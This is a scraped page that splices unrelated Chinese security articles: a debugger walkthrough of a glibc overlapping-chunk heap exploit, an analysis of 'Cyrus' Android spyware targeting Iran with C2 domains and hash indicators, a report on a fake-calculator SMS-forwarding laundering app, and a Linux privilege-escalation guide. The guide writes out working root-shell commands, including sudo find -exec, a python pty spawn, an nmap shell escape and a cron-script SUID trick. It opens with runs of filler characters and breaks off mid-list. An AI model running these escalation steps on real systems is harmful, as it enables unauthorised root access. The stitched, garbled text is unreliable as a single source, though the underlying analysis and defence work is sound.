CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
Let's write something inside p6
Data inside chunk p3:
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
### 关键部分调试
因为和之前的很类似,这里我仅下几个断点
28 p2 = malloc(1000);
29 p3 = malloc(1000);
30 p4 = malloc(1000);
31 p5 = malloc(1000);
32
► 33 real_size_p1 = malloc_usable_size(p1);
53 free(p4);
54
► 55 fprintf(stderr, "nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2nwith the size of chunk_p2 + size of chunk_p3n");
57 *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE
58
► 59 fprintf(stderr, "nNow during the free() operation on p2, the allocator is fooled to think that nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) n");
61 free(p2);
62
► 63 fprintf(stderr, "nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunkn");
65 p6 = malloc(2000);
► 66 real_size_p6 = malloc_usable_size(p6);
好了我们先运行一下分配下5个chunk
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 1009,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6033f0 PREV_INUSE {
prev_size = 0,
size = 1009,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6037e0 PREV_INUSE {
prev_size = 0,
size = 1009,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603bd0 PREV_INUSE {
prev_size = 0,
size = 1009,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603fc0 PREV_INUSE {
prev_size = 0,
size = 1009,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6043b0 PREV_INUSE {
prev_size = 0,
size = 130129,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg>
可以看到已经分配了5个堆块p1,p2,p3,p4,p5
分别从0x603000,0x6033f0,0x6037e0,0x603bd0,0x603fc0,0x6043b0处开始
然后我们继续运行一下,free掉p2,此时
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603bd0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603bd0
smallbins
empty
largebins
empty
此时的chunk p2
pwndbg> x/10gx 0x6033f0
0x6033f0: 0x4141414141414141 0x00000000000003f1
0x603400: 0x4242424242424242 0x4242424242424242
0x603410: 0x4242424242424242 0x4242424242424242
0x603420: 0x4242424242424242 0x4242424242424242
0x603430: 0x4242424242424242 0x4242424242424242
pwndbg> p/x 0x3f1
$4 = 0x3f1
pwndbg> p 0x3f1
$5 = 1009
可以看到其size此时为0x3f1,而pre_size为chunk1所复用,紧接着我们继续,程序现在已经更改了chunk p2的size域
pwndbg> x/10gx 0x6033f0
0x6033f0: 0x4141414141414141 0x00000000000007e1
0x603400: 0x4242424242424242 0x4242424242424242
0x603410: 0x4242424242424242 0x4242424242424242
0x603420: 0x4242424242424242 0x4242424242424242
0x603430: 0x4242424242424242 0x4242424242424242
pwndbg>
好了,现在我们free掉chunk2并malloc一个新的chunk p6
0x6033f0 PREV_INUSE {
prev_size = 4702111234474983745,
size = 2017,
fd = 0x7ffff7dd2158 <main_arena+1592>,
bk = 0x7ffff7dd2158 <main_arena+1592>,
fd_nextsize = 0x6033f0,
bk_nextsize = 0x6033f0
}
此时的p6 size大小为2017,我们看下
pwndbg> p p6
$8 = (intptr_t *) 0x603400
pwndbg> p p3
$9 = (intptr_t *) 0x6037f0
pwndbg> p/x 2017
$10 = 0x7e1
pwndbg> p p6+0x7e1
$11 = (intptr_t *) 0x607308
此时的p3已经成功被包在p6中了:)
### 总结
好了,程序首先malloc了5块大小为1008的chunk,p1,p2,p3,p4,p5
紧接着,程序free掉了p4,因为还有p5 紧邻着top chunk,因此p4并不会被合并到topchunk中
**这里要注意,在本例中,是否free p4的效果是一样的**
之后呢,为便于直观的看一下效果,将chunk按次序填满了A,B,C,D,E
紧接着,程序修改了chunk p2的size域大小为p2+p3,然后free掉了chunk p2
这个时候,系统会错误的把p2和p3合并的大chunk放进unsorted bin中并与我们的free chunk p4合并
然后申请了p2+p3大小的新chunk p6(所以我说其实不用free p4的…甚至都不用malloc p5 2333
此时p6的后半部分也就是p3大小的部分就与之前未free的p3重叠了:)
这里也做一下overlapping_chunks和overlapping_chunks_2的比较
overlapping_chunks中,程序更改了已经释放掉的chunk的size域而2则是修改了还未释放的chunk的size域,但是效果都是一样的,都是构造了一个重叠块
(overlapping chunk! | 社区文章 |
# 惊现居鲁士大帝！针对伊朗的Cyrus攻击活动披露
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
中东问题是自第[二次世界大战](https://baike.baidu.com/item/%E4%BA%8C%E6%AC%A1%E4%B8%96%E7%95%8C%E5%A4%A7%E6%88%98)结束以后延续至今时间最长的一个地区热点问题。[中东地区](https://baike.baidu.com/item/%E4%B8%AD%E4%B8%9C%E5%9C%B0%E5%8C%BA/3492068)重要的战略地位和战略资源牵动着许多国家的利益。美伊问题，无疑是目前中东最大的问题。
随着美国总统特朗普于2018年5月宣布退出“伊朗核协议”，并逐渐恢复美国对伊全面制裁以来，美伊两国及美国在中东地区盟友间的摩擦也在进一步升级。而此后美国与伊朗之间互相发起的网络战争，无疑对整个网络世界添加不稳定性。
而近日，奇安信病毒响应中心在日常的样本运营过程中发现了一起极具诱饵性的安卓APK攻击，经过研判发现，其攻击目标为伊朗，此外，通过同源分析发现，该样本关联了一系列攻击活动，鉴于攻击样本均与伊朗文化相关，因此在将该活动命名为Cyrus(居鲁士
)活动后，将其发布于世。
## 诱饵分析
此次发现的APK样本名称为“کوروش بزرگ!”(居鲁士大帝！)。
居鲁士大帝是[波斯帝国](https://zh.wikipedia.org/wiki/%E6%B3%A2%E6%96%AF%E5%B8%9D%E5%9B%BD
"波斯帝国")创建者、[阿契美尼德王朝](https://zh.wikipedia.org/wiki/%E9%98%BF%E5%A5%91%E7%BE%8E%E5%B0%BC%E5%BE%B7%E7%8E%8B%E6%9C%9D
"阿契美尼德王朝")第一位国王（前549年—前529年在位）。在他的统治下，帝国不仅囊括了[古代近东](https://zh.wikipedia.org/wiki/%E5%8F%A4%E4%BB%A3%E8%BF%91%E6%9D%B1
"古代近東")的所有文明国家，还包括了大部分[西南亚](https://zh.wikipedia.org/wiki/%E8%A5%BF%E5%8D%97%E4%BA%9A
"西南亚")，和一部分[中亚](https://zh.wikipedia.org/wiki/%E4%B8%AD%E4%BA%9A
"中亚")及[高加索](https://zh.wikipedia.org/wiki/%E9%AB%98%E5%8A%A0%E7%B4%A2
"高加索")地区。他的帝国从西边的[赫勒斯滂](https://zh.wikipedia.org/wiki/%E8%B5%AB%E5%8B%92%E6%96%AF%E6%BB%82
"赫勒斯滂")到东边的印度河，是前所未有的最大帝国。
随着美国增兵沙特，伊朗局势又将持续升温。近日发现针对伊朗的移动APP攻击，无疑与伊朗局势密切相关。
文件名称 | کوروش بزرگ!
---|---
软件名称 | کوروش بزرگ!
软件名称翻译 | 居鲁士大帝！
软件包名 | ir.cheshmac.CyrustheGreat
MD5 | F05D8588CF2E8BE9FA6CCAC39A0F7311
安装图标 |
样本运行截图：
## 样本分析
### 样本行为描述
此次发现的针对伊朗的恶意样本，通过仿冒“کوروش بزرگ!”(居鲁士大帝！)诱骗用户安装使用，APP运行后，通过展示居鲁士大帝生平事迹，使用户放心使用。
恶意样本运行后，通过后台服务端下发20多种控制指令，获取用户手机信息。其恶意操作有：获取Log、获取通讯录、获取手机文件、获取用户手机短信、获取地理位置、获取手机已安装的APP、获取通话记录、拍照等。
远控指令列表：
指令下发服务器 | 一级指令 | 二级指令 | 指令含义
---|---|---|---
www.firmwaresystemupdate.com
| Set | | 修改设置
Get | AllLog | 获取Log
AllContact | 获取通讯录
AllFile | 获取手机文件
AllSms | 获取短信
AllCall | 获取所有同话记录
AllApp | 获取所有已安装的AP
AllBrowser | 获取所有浏览器记录
AllAccount | 读取用户账户
AllSetting | 获取设置信息
Location | 获取GPS
HardwareInfo | 获取设备固件信息
File | 上传获取到的信息
Take | Audio | 录音
Photo | 拍照
Video | 拍照
RecordCall | 获取通话录音
Delete | SMS | 删除用户短信
Call | 删除通话记录
File | 删除文件
Reset” | AllCommand | 重置命令
### 详细代码分析
内置html文件，将“居鲁士大帝”生平事迹进行存放，用户打开APP后加以展示。
通过服务端（www.firmwaresystemupdate.com）下发远控指令，对用户手机进行后台操控，获取用户手机信息：
获取控制指令：
远控指令：
指令“Set”修改设置：
指令“Get”“AllLog”获取Log：
指令“Get”“AllContact”获取通讯录：
指令“Get”“AllFile”获取手机文件：
指令“Get”“AllSms”获取短信：
指令“Get”“AllCall”获取所有同话记录：
指令“Get”“AllApp”获取所有已安装的APP：
指令“Get”“AllBrowser”获取所有浏览器记录：
指令“Get”“AllAccount”读取用户账户：
指令“Get”“AllSetting”获取设置信息：
指令“Get”“Location”获取GPS：
指令“Get”“HardwareInfo”获取设备固件信息：
指令“Get”“File”上传获取到的信息：
上传服务器：www.firmwaresystemupdate.com
指令“Take””“Audio”录音：
指令“Take””“Photo”拍照：
指令“Take””“Video”拍照：
指令“Take””“RecordCall”通话录音：
指令“Delete””“SMS”删除用户短信：
指令“Delete””“Call”删除同话记录：
指令“Delete””“File”删除同话记录：
指令“Reset””“AllCommand”重置命令：
## 同源分析
通过“کوروش
بزرگ!”(居鲁士大帝！)，我们发现了一批类似的样本，其都是通过仿冒与伊朗有关的APP，针对伊朗进行攻击并收集信息。仿冒的APP名字都很符合伊朗的文化，以及伊朗用户感兴趣的名字。翻译过来的APP名称例如：“斋月的照片”、“伊朗女子忍者”、“奥马尔·法鲁克（Sallabi）2”、“费雷顿·莫希里”等。
而且这批针对伊朗的APP，代码结构都一样，出现的时间也相近：
## 总结
伊朗近期无论是作为攻击方或是防守方，均在网络战争中大放异彩，而本篇中针对伊朗的攻击活动，无论从人文，地域等伊朗元素作为诱饵，亦或是在诱饵中对整个伊朗文化的理解透彻之程度，都可以体现出幕后攻击者对此次攻击行动的筹备之久，并且攻击团伙中必定存在对伊朗文化了解极其透彻之人。
而对文化的理解透彻，将决定诱饵的制作精细程度，也同样将影响所有后续的攻击活动，这一点，与以前的战争中的，“深入敌营”的战争思想有异曲同工之妙。
而奇安信病毒响应中心，将持续对最新的恶意安卓APK攻击活动进行及时分析与更新，目前奇安信全系产品均可对此攻击活动进行报警。
## IOC
MD5：
05EAA04BC27DB3AF51215D68A1D32D05
4134CB97B2446654347AB2E1CA2C050F
25A65CBFC9D34F5367ACB5EA2A32E3EF
3C0011DD7F6C9474CDA5FFD52415D4A8
43BD113A0952172BCBA57055F5A707BB
34BE434996B9BC19112F875F0A3711D2
26F655D19358BA5C124BBB705C3778A7
F05D8588CF2E8BE9FA6CCAC39A0F7311
12BEA094932DA9FA51853740FCAA68A1
9D3CA081E7FE27E44707D8634C22FC95
D199C202BEB4380E2F675E93C36CF0F4
E94ED62A28A9FD6F714C3E29B3636788
86DA3A7378E17B51BA83BA3333E86A32
2A0394DA1639AAB6B9FEA26C93EEBE07
CC88F21406EAEED70A890F53E57C98B6
FBD0AFE5BD3D0D61FEB21680B304D7AE
4567824A45A818BC389D7EEAE3C7B678
155316526FF476698494E90EFC1127BC
AC32FFAA379AED78DCC11EA74FBDFCFE
C2地址：
[www.firmwaresystemupdate.com](http://www.firmwaresystemupdate.com)
push.lohefeshordeh.net
www.ychatonline.net
www.appsoftupdate.com
46.4.143.130
198.50.220.44:80 | 社区文章 |
# 重要发现！SRW应用伪装成计算器实施跑分长达2年之久，至今仍高活迭代
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
早前，我们发现过博彩产业为方便博彩代理人员管理下线人员，为其定制开发博彩代理APP，该应用伪装成一个可正常使用的计算器应用，当在该计算器中输入特定指令时，页面会展示真正的博彩代理登录界面。
此类伪界面手段近期也在一款跑分应用中出现，通过同源追溯，发现该应用衍生产业链存活至今已达2年，且应用不断在进行迭代，最新版本为4.3。
**下面，以跑分客的视角，来看看这个跑分应用到底是怎么“跑起来”的**
根据情报显示，跑分流程分以下这么几步：
第一步，跑分客需要访问指定的网址，获得本地ip，并将ip提供给上线进行加白
第二步，登录指定的卡商网站，将跑分客的银行信息（银行卡号、所属省市、所属支行、取款密码、U盾密码、登录密码、身份证号码）录入至平台，选择类型（U盾、跑分-银行卡、手机短信-纯收款等）
第三步，手机安装该应用，并授予短信权限
第四步，打开该应用，输入密钥，点击实现短信同步
这个操作之后，就意味着跑分客收到的所有银行短信，都会被自动同步给跑分平台。
也不难看出，整个过程攻防措施也是相当严密，体现在两点：
首先，ip需要人工加白，否则无法进行后续银行卡信息录入，相当于人工资质审核授权；
其次，伪装成计算器的应用，需要通过秘钥才能跳转登录页并进行短信授权；
哇哦
该跑分平台在玩一种很新的登录验证方法
> **应用背后的关联产业挖掘**
**应用分析**
通过追溯同源样本，发现应用最早于2020年开始传播，至今存活时间已长达2年之久！
**产业链挖掘**
通过梳理该产业链的IOC情报，我们发现该应用运营者的运作模式如下：
1、使用多台中国香港服务器做APP分发节点
2、为不同的用户群体定制不同的子域名+不同的端口，例如子域名shanghu（商户人员使用）、子域名kashang（卡商人员使用）、sys（支付回调使用）
支付回调页面
最后，梳理一下这个产业链上下游涉及的支付通道平台、卡商以及支付通道用户之间的运作流程：
支付通道收集卡贩子（跑分客）手中的银行卡，并要求卡贩子（跑分客）将银行卡信息录入指定的卡商平台以及在手机（插入银行卡绑定的手机号的卡）中安装指定的计算器APP，用于监控手机的银行卡短信，并转发至支付通道终端服务器。
支付通道用户（博彩、诈骗等）开通该支付通道的API接入对应的诈骗平台，当用户在诈骗/博彩平台充值时，显示对应的充值入口（银行卡），用户在页面刷新后，重新调用接口。
整体构成了一个完整的聚合平台，可以实现以跑分客与卡商平台提供“料子”，以支付平台为中转调度出口，供支付通道用户调用，为博彩/诈骗提供跑分“一站式”服务。 | 社区文章 |
# 详解Linux权限提升的攻击与防护
##### 译文声明
本文是翻译文章，文章原作者 Rashid Feroze，文章来源：payatu.com
原文地址：<https://payatu.com/guide-linux-privilege-escalation/>
译文仅供参考，具体内容表达以及含义原文为准。
## 什么是权限提升？
大多数计算机系统都是为多个用户而设计的，这些用户分别具有不同的权限。所谓权限，就是用户被允许执行的操作。常用的权限包括查看文件、编辑文件和修改系统文件。权限提升，就是使用户获得他们原本不具有的权限。这些权限可以用于删除文件、查看私密信息、安装有害程序（例如病毒）。要实现权限提升，通常需要借助于一个系统漏洞来绕过相应的安全配置，或者是借助于系统中设计有缺陷的地方。
详细来说，权限提升是指利用操作系统或软件应用程序中的漏洞、设计缺陷或配置疏忽，让应用或用户获得对受保护资源的高级访问权限。权限提升可以直接导致应用程序越过开发者或系统管理员的设定，获得更高的权限，并执行未经授权的操作。
根据统计数据，相比于Linux来说，目前大多数企业都拥有更多的Windows客户端。尽管如此，但如果我们考虑信息安全的整体策略时，就必须将Linux权限提升攻击看作一个重要的威胁。并且，企业中最关键的基础设施（比如Web服务器、数据库、防火墙等）极有可能运行的是Linux操作系统。一旦这些关键设备遭到入侵，那么有可能严重影响企业的正常运作。此外，随着物联网（IoT）和嵌入式系统的日渐普及，黑客也逐渐将注意力转向它们，因此对这些设备进行加固与防护就显得至关重要。
## 目标
在这篇文章中，我们将详细讨论基于Linux的系统上可能导致权限提升攻击的安全问题，并会讲解攻击者如何借助已知技术进行远程主机的权限提升，同时将告诉大家如何保护我们的系统免受此类攻击。最后，我们还会根据不同Linux系统环境来讲解如何实现权限提升。
Linux中的权限模型
Linux系统从UNIX继承了文件所有权和权限的概念。设定并检查文件权限，是系统防止恶意篡改的一种方式。在UNIX
Web服务器上，存储在硬盘上的每一个文件和文件夹都有一组与之相关联的权限，该权限表明了允许谁执行文件操作。
在上面两个屏幕截图中，我们可以看到文件docker-compose.yml只具有所有者root用户的只读访问权限。如果有其他用户试图读取该文件，将会被拒绝。当我们以非超级用户身份尝试读取文件时，会出现Permission
Denied的错误。
考虑到篇幅所限，在这里，我们将不会深入讲解权限模型的细节。大家只需要理解，普通用户无权访问未授予其权限的所有文件，具体包括读/写/执行操作。然而，超级用户（root）却可以访问系统中存在的所有文件。为了改写重要配置或实现进一步攻击，首先我们就需要在Linux系统上获得root权限。
## 为什么我们需要进行权限提升？
读/写任意敏感文件
在重启后依然保持运行（保证持久性）
可以安插一个永久的后门
## 用于权限提升的相关技术
假设我们已经在目标系统上放置了一个Shell。但目前，我们还并没有root特权，能进行的操作也相当有限。由此，我们可以使用下面的一些技术，在系统上获得”root”访问权限。
### 1\. 内核开发
内核漏洞利用程序借助于内核漏洞，可以执行具有更高权限的任意代码。一次成功的内核漏洞攻击，通常会使得攻击者以超级用户的身份访问目标系统，大多是通过root命令提示符的方法进行操作。在大多数情况下，提升到Linux系统的root权限只需要将内核漏洞利用程序下载到目标主机，随后编译并执行即可完成。
假设我们可以以非特权用户的身份运行代码，下面是内核利用的通用流程
(1) 诱使内核在内核模式下运行我们的有效载荷；
(2) 修改内核数据，例如进程权限；
(3) 以新权限启动一个Shell，并获取root权限。
如果想要成功进行内核利用攻击，就需要下面四个条件：
(1) 易受攻击的内核；
(2) 存在相应的漏洞；
(3) 拥有将漏洞利用转移到目标上的能力；
(4) 拥有在目标上执行漏洞利用的能力。
要防范内核漏洞，最简单的方法是保证及时更新。一旦补丁未进行及时更新，就存在着已知漏洞被黑客利用的风险。如果因某些原因暂时无法打上补丁，管理员可以对目标主机传输和执行漏洞利用的能力进行限制。如果管理员能够阻止Linux文件系统上的漏洞利用导入和执行，那么内核攻击漏洞便不再可行。具体来说，管理员应该重点对启用文件传输的程序进行限制或删除，例如FTP、TFTP、SCP、wget和curl。如果需要用到这些程序，应该对使用的用户、目录、应用程序和特定IP地址/域名进行严格限制。
臭名昭著的脏牛（DirtyCow）漏洞可在Linux内核3.19.0-3.73.8之间利用。
Linux内核的内存子系统在处理写时拷贝（Copy-on-Write)时存在条件竞争漏洞，导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限，有可能进一步导致提权漏洞。这是迄今为止发现的最严重的权限提升漏洞之一，几乎影响到所有主要的Linux发行版本。
如何利用脏牛漏洞实现攻击：
$ whoami - 显示当前用户是John（非root用户）。
$ uname -a - 显示内核版本，我们得知该版本受脏牛漏洞影响。
> 从这里下载脏牛漏洞的EXP - https://www.exploit-db.com/exploits/40839/
> 编译并执行。通过编辑/etc/passwd文件，将"root"用户替换为新用户"rash"。
$ su rash - 将当前登陆的用户修改为root权限的rash。
关于脏牛漏洞的其他利用方法，可以在这里查看：<https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs>
针对不同的内核和操作系统，有许多不同的本地权限提升漏洞可供使用。具体每个漏洞而言，能否使用该漏洞取决于该版本的内核是否易受攻击。Kail
Linux拥有exploit-db漏洞的本地副本，可以用来轻松搜索root漏洞。但建议不要在搜索Linux内核漏洞时完全依赖该数据库。
$ searchsploit Linux Kernel 2.6.24 - 可以向我们展示在Kail Linux中保存的特定Linux内核的所有可用漏洞。
为什么我们不应该首先考虑权限提升漏洞？
虽然权限提升漏洞的利用方式非常简单，只需要运行漏洞利用程序并获得root权限即可，但考虑到如下原因，我们不应该首先考虑这种方式：
(1) 远程主机可能会崩溃，原因在于许多公开的root漏洞利用程序并不稳定；
(2) 在得到root之后可能会导致崩溃；
(3) 该漏洞利用可能留下痕迹或日志记录，并引起运维人员的注意。
因此，建议大家首先尝试其他方法来获取root权限，并将上述方案作为最后的备选。
防范方法：
及时打补丁更新，时刻保持内核的版本最新。
### 2\. 利用正在以root身份运行的服务
著名的EternalBlue和SambaCry攻击都利用了通常以root身份运行的SMB服务。
只需要一次攻击，攻击者就可以获得远程代码执行权限和本地权限提升。
因为上述二者组合起来非常致命，因此该漏洞被广泛用于在全球范围内传播勒索软件。
我们应该使用检查Web服务器、邮件服务器、数据库服务器等重要服务器是否以root身份运行。在很多时候，Web管理员会以root身份运行这些服务，忽视了其可能导致的安全问题。有一些服务是在本地运行的，不会对外暴露，但同样可以被利用。
$ netstat -antup - 该命令可以显示所有打开并正在监听的端口，我们可以通过此命令检查是否有可以利用的本地服务。
利用以root身份运行的受漏洞影响MySQL来获取root访问权限：
MySQL UDF动态库漏洞利用可以允许我们从MySQL
Shell执行任意命令。如果MySQL是以root权限运行的，那么这些命令就会以root身份来执行。
$ ps -aux | grep root - 显示以root用户身份运行的服务。
> 我们可以用MySQL Shell执行任意命令，这些命令会以root身份来执行。
一些网络管理员的最大失误，就是运行具有root权限的网络服务器。Web应用程序上的一些命令注入漏洞可能导致攻击者获得root
shell。因此，除非真正需要，我们应该避免以root身份运行任何服务。
此外，对root用户程序进行二进制利用的风险要比内核利用小得多，原因在于即使服务崩溃，主机也不会崩溃，并且服务可能会自动重启。
防范方法：
除非真正需要，否则绝不要以root身份运行任何服务，特别是Web、数据库和文件服务器。
### 3\. 利用可执行文件SUID
SUID即Set User
ID（设置用户ID），它允许用户使用指定用户的权限来执行文件。例如，Linux中的ping命令通常需要root权限才能打开原始的网络套接字。如果将ping程序的SUID标记为root用户，就可以让低权限用户在执行程序时，直接以root权限执行。
> -rwsr-xr-x- 如果其中的x字符被s替代，则证明设置了相应的SUID。
SUID这个功能如果使用得当，可以有效增强Linux的安全性。然而，管理员在安装第三方应用程序或进行逻辑配置更改时，可能会在不知不觉中引入危险的SUID配置。
许多系统管理员都不了解应该在哪里设置SUID位，我们需要特别强调，管理员不应在任何文件编辑器上设置SUID位，因为这样可以让攻击者覆盖系统中存在的任何文件。
利用易受攻击的SUID可执行文件获取root访问权限：
$ find / -perm -u=s -type f 2>/dev/null - 打印设置了SUID位的可执行文件。
$ ls -la /usr/local/bin/nmap - 确认nmap是否设置了SUID位。
> Nmap设置了SUID位。很多时候，管理员会为Nmap设置SUID位，以便它可以有效地扫描网络，如果不以root权限运行，那么所有的扫描都将失效。
> 然而，在nmap早期版本中有一个功能，可以在交互模式下运行nmap，允许用户转到Shell。如果nmap设置了SUID位，它将会以root权限运行，就可以通过交互模式访问root Shell。
$ nmap -interactive - 运行nmap交互模式（Interactive Mode）。
$ !sh - 从nmap Shell转到系统Shell。
防范方法：
不应将SUID位设置为允许转到Shell的任何程序。
不应该在任何文件编辑器、编译器、解释器上设置SUID位，这样可以让攻击者轻松读取、覆盖系统上存在的任何文件。
### 4\. 利用SUDO权限/用户
如果攻击者不能通过其他技直接获得root访问权限，那么他可能会尝试破坏任何拥有SUDO访问权限的用户。一旦攻击者有权访问任何SUDO用户，那么他基本上就可以使用root权限执行任何命令。
管理员可能只允许用户通过SUDO运行一些命令，但绝对不是所有命令，即使是使用这样的配置，他们也可能会在不知情的情况下引入漏洞，从而导致权限提升的风险。
其中，一个比较典型的例子是将SUDO权限分配给find命令，以便另一个用户可以在系统中搜索特定的文件或日志。虽然管理员可能不知道find命令包含用于执行命令的参数，但实际上，攻击者确实可以使用root权限来执行命令。
利用错误配置的SUDO权限获取root访问权限：
$ sudo -l - 打印允许作为SUDO运行的命令。
我们可以以SUDO运行find、cat和python。这些命令在用SUDO时会以root用户身份运行。如果我们可以通过这些命令，以某种方式逃逸到Shell，那我们就可以获得root权限。
$ sudo find /home -exec sh -i ; - find命令的exec参数可用于任意代码执行。
> 不要将SUDO权限赋予任何编程语言编译器、解释器和编辑器。
> 这种技术也可以用于vi、more、less、perl、ruby、gdb和其他命令。
$ sudo python -c 'import pty;pty.spawn("/bin/bash");' - 产生一个Shell。
防范方法：
不要将SUDO权限授予任何允许逃逸到Shell的程序。
不要将SUDO权限赋予vi、more、less、perl、ruby、gdb等命令。
### 5\. 利用未正确配置的CRON任务
如果Cron任务配置不当，可能会被利用获取root权限。
(1) 任何可写的Cron任务脚本或二进制文件？
(2) 我们是否可以自己覆盖写入Cron文件？
(3) cron.d目录是否可写入？
Cron任务常常以root权限运行。如果我们可以成功篡改Cron任务中定义的任何脚本或二进制文件，我们便可以使用root权限执行任意代码。
利用错误配置的Cron任务来获取root1访问权限：
$ ls -la /etc/cron.d - 打印cron.d中已经存在的Cron任务。
$ find / -perm -2 -type f 2>/dev/null - 打印全局可写入文件。
$ ls -la /usr/local/sbin/cron-logrotate.sh - 确认cron-logrotate.sh是否是全局可写入的。
> cron-logrotate.sh是全局可写入的，它由cronjob运行。我们在cron-logrotate.sh中写入/添加的任何命令都会以root身份执行。
> 我们在/tmp目录下编写一个C文件，并对其进行编译。
> rootme可执行文件会产生一个Shell。
$ ls -la rootme - 说明该文件由用户SHayslett拥有。
$ echo "chown root:root /tmp/rootme; chmod u+s /tmp/rootme;">/usr/local/sbin/cron-logrotate.sh - 将可执行文件的所有者和分组修改为root，同时也会设置SUID位。
$ ls -la rootme - 在5分钟后，运行logrotate Cron任务，cron-logrotate.sh会以root权限执行。
$ ./rootme - 产生一个root Shell。
防范方法：
在Cron任务中定义的任何脚本或二进制文件都不应该是可写入的。
Cron文件不应被除root之外的任何用户写入。
Cron.d目录不应被除root之外的任何用户写入。
### 6\. 在用户路径上利用’.’实现利用
如果PATH中带有’.’，就意味着用户可以从当前目录执行二进制文件或脚本。为了变每次都输入这两个额外的字符，用户可能会将’.’添加到他们的PATH中。对于攻击者来说，这是一个用于权限提升的不错方式。
假如Susan是一名管理员，她在她的路径中添加了’.’，这样就不必再写入两个字符。
路径中有’.’ – program
路径中没有’.’ – ./program
这种情况的原因在于，Linux会首先在PATH中添加’.’，然后在其他地方进行搜索时，会首先在当前目录中搜索程序。
> 假设另一个用户rashid知道Susan在她的PATH中加入了'.'。
> rashid告诉Susan说，'ls'命令在他的目录下不起作用。
> rashid在他的目录中添加一个代码，该代码可以更改sudoers文件，使rashid成为管理员。
> rashid将该代码保存在名为'ls'的文件中并使其可执行。
> Susan拥有root权限，她在rashid的主目录下执行了'ls'命令。
> 恶意代码将会代替原来的'ls'命令，以root权限执行。
> 在名称为"ls"的文件中，添加了一行代码，该代码将会打印出"Hello World"。
$ PATH=.:${PATH} - 将'.'添加到PATH变量中。
$ ls - 执行./ls文件，而不是执行list命令。
> 现在，如果root用户以root权限执行代码，我们就可以使用root权限实现任意代码执行。
防范方法：
不要将’.’放在你的路径中。
## 不同虚拟机环境上的权限提升方法
目前，我已经编译了一系列不同的权限提升方法，并且成功在不同的虚拟机上获得了root权限。我们在这里提供一个整体思路，也就是告诉大家如何在实际场景中使用上述技术。很多时候，可以选择多种技术在同一台机器上获得”root”访问权限。
1. Kioptrix 1
内核漏洞攻击 – Apache mod_ssl < 2.8.7 OpenSSL – ‘OpenFuckV2.c’远程缓冲区溢出(
<https://www.exploit-db.com/exploits/764/> )
SMB漏洞利用 – Samba(2.2.1a) trans2open缓冲区溢出( <https://www.exploit-db.com/exploits/7/> )
2. Kioptrix 2
内核漏洞利用 – Linux Kernel 2.6 < 2.6.19 – ‘ip_append_data()’ Ring0权限提升(1)(
<https://www.exploit-db.com/exploits/9542/> )
3. Kioptrix 3
在文件编辑器上设置SUID位 – 编辑/etc/sudoers文件以获得SUDO权限
4. Kioptrix 4
